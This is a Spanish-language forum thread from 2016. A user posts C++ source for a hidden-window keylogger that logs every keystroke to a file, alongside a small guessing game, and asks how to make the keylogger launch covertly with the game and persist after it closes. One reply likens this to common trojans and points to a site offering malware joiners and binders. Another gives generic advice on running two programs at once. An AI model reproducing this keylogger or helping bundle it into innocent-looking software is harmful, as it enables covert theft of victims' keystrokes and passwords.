Ejecutar un programa dentro de otro.

Iniciado por cvargaming, 2 Octubre 2016, 15:27 PM

0 Miembros y 1 Visitante están viendo este tema.

cvargaming

Buenas a todos,

Me gustaría saber si me podríais a ayudarme con un problema que tengo en C++, es el siguiente:

Tengo dos códigos, el primero es un juego y el segundo es un keylogger muy simple, y me gustaría poder juntar ambos, de tal manera que cuando el juego se ejecute se abra de manera independiente el keylogger, y cuando se cierre el juego, el keylogger permanezca abierto...

A continuación, el keylogger.
Código (cpp) [Seleccionar]
using namespace std;                       
int main()                                 
{
   HWND stealth;
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);                 
char key;                                 
    while (true){                         
        Sleep(10);                         
        for(key = 8; key <= 190; key++){   
            if(GetAsyncKeyState(key) == -32767){       
                ofstream fichero;         
                fichero.open("log.txt",fstream::app); 
                fichero << key;
                fichero.close();

            }
        }
    }

    return 0;
}


Y el programa principal.
Código (cpp) [Seleccionar]
#include <iostream>                 
#include <cstdlib>
#include <ctime>                   

int main(void) {
srand(time(NULL));

while(true) {
int number = rand() % 99 + 2;
int guess;
int tries = 0;
char answer;


while(true) {

std::cout << "Introduce un numero del 1 al 100(" << 20 - tries << " intentos restantes): ";
std::cin >> guess;
std::cin.ignore();

if(tries >= 20) {
break;
}

if(guess > number) {
std::cout << "Demasiado alto! Prueba de nuevo.\n";
} else if(guess < number) {
std::cout << "Demasiado bajo! Prueba de nuevo.\n";
} else {
break;
}


tries++;
}


if(tries >= 20) {
std::cout << "Te has quedado sin intentos!.\n\n";
} else {

std::cout<<"Felicidades! " << std::endl;
std::cout<<"Has acertado! " << tries << " intentos!\n";
}


Gracias por su atención.

MRx86

Supongo q buscas hacer lo que los troyanos comunes (ejecutar un programa y al mismo tiempo  que se ejecute otro y que quede este cargado en memoria ejecutándose), bueno para eso podrías utilizar un joiner/binder, que hace este trabajo, en esta pagina:

https://malwares.underc0de.org/?dir=Joiners+-+Binders%2F

Hay bastantes q te podrían interesar, espero haberte ayudado

Saludos!.
"Tengo una pregunta que a veces me tortura: ¿Estoy loco
yo, o los locos son los demas?"
- Albert Einstein

dato000

Tecnicamente no es posible de la forma que quieres, las dos maneras más comodas, una más sencilla que otra serían:

1) Create un batch (windows archivo .bat o un ejecutable) o un bash (linux con shell o perl o un make) en donde se inicialicen las dos tareas que necesitas.
2) Usar hilos en las cuales esten las dos funciones dentro de uno y puedas ejecutar las tareas a modo asincrono (no estoy seguro si con los threads son async, pero es similar).

En todo caso, necesitas entender que son instancias diferentes y cada una necesita ser compilada, por lo que el llamado de ese código debe realizarse de forma nativa por ejecución externa de plataforma, es decir, llamarlas como tal desde el sistema operativo, como cuando abres dos programas word o excel, o ejecutas dos tareas desde dos simbolos de sistemas diferentes, por mencionar unos ejemplos.

Creeria que deberias echarle un vistazo a estas respuestas, simples, cortas y muy claras:

http://stackoverflow.com/questions/33818373/run-two-programs-at-the-same-time-c-c
http://stackoverflow.com/questions/3051009/c-run-two-functions-at-the-same-time
http://stackoverflow.com/questions/9521114/running-multiple-c-programs-from-a-c-program-under-linux